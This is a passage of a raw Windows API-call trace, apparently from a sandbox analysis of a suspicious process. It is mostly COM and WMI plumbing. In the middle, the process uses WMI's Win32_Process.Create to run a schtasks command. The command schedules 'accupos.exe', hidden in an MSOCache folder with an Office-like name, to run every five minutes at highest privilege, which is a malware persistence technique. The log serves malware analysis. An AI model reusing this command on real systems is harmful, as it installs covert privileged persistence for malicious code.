Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x6567b0) returned 0x0 [0123.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0123.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0123.840] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0123.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0123.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0123.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d3080) returned 0x0 [0123.841] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3080, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.841] WbemDefPath:IUnknown:Release (This=0x1b4d3080) returned 0x3 [0123.841] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0123.841] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0123.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0123.841] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0123.841] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0123.841] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0123.841] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0123.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x6567b0) returned 0x0 [0123.841] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0123.841] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0123.841] WbemDefPath:IWbemPath:SetText (This=0x6567b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0123.841] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0123.841] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0123.841] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.841] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0123.841] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0123.841] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0123.841] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.842] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d3000) returned 0x0 [0123.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3000, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0123.842] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3000, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656270) returned 0x0 [0123.842] WbemDefPath:IUnknown:Release (This=0x1b4d3000) returned 0x0 [0123.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656270) returned 0x0 [0123.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0123.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0123.842] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0123.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0123.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0123.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d3120) returned 0x0 [0123.843] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3120, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.843] WbemDefPath:IUnknown:Release (This=0x1b4d3120) returned 0x3 [0123.843] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0123.843] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0123.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0123.843] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0123.843] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0123.843] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0123.843] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0123.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x656270, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656270) returned 0x0 [0123.843] WbemDefPath:IUnknown:AddRef (This=0x656270) returned 0x3 [0123.843] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x2 [0123.843] WbemDefPath:IWbemPath:SetText (This=0x656270, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0123.843] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0123.843] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0123.843] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0123.843] WbemDefPath:IWbemPath:GetText (in: This=0x656270, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0123.843] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x6567b0) returned 0x0 [0123.843] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0123.843] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656270, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656270, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0123.844] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6567b0, uIndex=0x0, pszName="root") returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656270, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656270, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0123.844] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6567b0, uIndex=0x1, pszName="cimv2") returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetServer (in: This=0x656270, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetServer (in: This=0x656270, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetServer (in: This=0x6567b0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetServer (in: This=0x6567b0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetInfo (in: This=0x6567b0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6567b0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0123.844] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0123.844] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0123.844] WbemLocator:IUnknown:AddRef (This=0x1b511718) returned 0x3 [0123.844] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511718) returned 0x0 [0123.844] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x3 [0123.844] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x2 [0123.844] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0123.845] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0123.845] IWbemServices:GetObject (in: This=0x1b4e1b80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d7590, ppCallResult=0x0) returned 0x0 [0123.848] IWbemClassObject:GetMethod (in: This=0x1b4d7590, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d9480, ppOutSignature=0x1b30d610*=0x1b4d8da0) returned 0x0 [0123.848] IWbemClassObject:SpawnInstance (in: This=0x1b4d9480, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b469f40) returned 0x0 [0123.848] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df578*=0, plFlavor=0x26df57c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df578*=8, plFlavor=0x26df57c*=32) returned 0x0 [0123.848] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df578*=8, plFlavor=0x26df57c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df578*=8, plFlavor=0x26df57c*=32) returned 0x0 [0123.848] IWbemClassObject:Put (This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"accuposa\" /sc MINUTE /mo 5 /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0123.848] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df608*=0, plFlavor=0x26df60c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df608*=13, plFlavor=0x26df60c*=32) returned 0x0 [0123.849] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df608*=13, plFlavor=0x26df60c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26df608*=13, plFlavor=0x26df60c*=32) returned 0x0 [0123.849] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d7fe0) returned 0x0 [0123.849] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0123.849] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0123.849] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0123.849] IUnknown:AddRef (This=0x1b4d7fe0) returned 0x3 [0123.849] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0123.849] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0123.849] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d7fe8) returned 0x0 [0123.849] IMarshal:GetUnmarshalClass (in: This=0x1b4d7fe8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0123.849] IUnknown:Release (This=0x1b4d7fe8) returned 0x3 [0123.849] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0123.849] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0123.850] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0123.850] IUnknown:Release (This=0x1b4d7fe0) returned 0x2 [0123.850] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0123.850] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0123.850] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0123.850] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0123.850] IUnknown:QueryInterface (in: This=0x1b4d7fe0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0123.850] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0123.850] IUnknown:AddRef (This=0x1b4d7fe0) returned 0x3 [0123.850] IWbemClassObject:Put (This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d7fe0, varVal2=0x0), Type=0) returned 0x0 [0123.850] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6570b0, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0123.850] WbemDefPath:IWbemPath:GetText (in: This=0x6570b0, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0123.850] WbemDefPath:IWbemPath:GetText (in: This=0x6570b0, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0123.850] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0123.850] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0123.850] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.850] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0123.851] WbemLocator:IUnknown:AddRef (This=0x1b511718) returned 0x3 [0123.851] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, 